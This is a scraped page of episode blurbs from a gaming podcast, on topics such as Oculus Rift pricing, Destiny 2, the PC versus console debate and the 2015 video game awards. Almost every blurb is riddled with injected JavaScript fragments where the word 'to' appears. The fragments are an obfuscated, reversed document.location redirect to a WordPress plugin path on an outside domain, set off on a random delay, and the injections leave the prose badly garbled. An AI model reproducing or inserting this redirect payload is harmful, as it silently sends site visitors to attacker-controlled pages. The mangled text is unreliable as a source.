15CAN – Oculus pricing, I want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to early adopt

The Oculus Rift and it’s consumer release has become the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topic of conversation since they announced the $599 price tag.  With this price tag the internet got angry, and people got […]

14CAN – We don’t need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to like everything

This episode I tackle gamers that think every game needs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be a game that they want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); […]

13CEN – 2015 Year in Review

This episode Mike recaps his 2015 year in gaming, and what a year it was, rather than try toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to come up with a hyperbolic intro here is the show outline. Start […]

12CAN – Destiny 2 can’t come soon enough

Destiny 2 can’t come soon enough; that feels weird toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say barely a year after release and a game I have spent more than 300 hours with.  Recently there have been […]

11CAN – PC v. Consoles; lets stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top the war

This episode Mike jumps intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the inability for people toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var […]

10CAN – Playstation Experience and Video Game Awards 2015

In the first segment I change my tune on both Splatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toon winning game of the year, and the validity of most of the winners for the video game awards.  In the […]

9CAN – Video Game Awards Recap and Impressions

Discussion about the 2015 video game awards show, thoughts about the winners/losers, and the overall quality of this years production.  Greg Miller win’s moment of the show, Shaq FU is back, and Konomi can kiss an ass.

Blacklisting, Click Bait Accusations, and Review Score Criteria – Cereal at Night E.08

This week in gaming, Kotaku.com reveals they have ben blacklisted by Ubisoft and Bethesda, the Patch Podcast goes after Jeff Gerstmann of Giant Bomb, and both of these conversations speak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a larger […]

Physical v. Digital, and Racing Sim Setups – Cereal at Night E.06

On this episode of Cereal at Night MIke discusses his opinion on Physical v. Digital media and the pros and cons of each. In the second segment he goes intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to some […]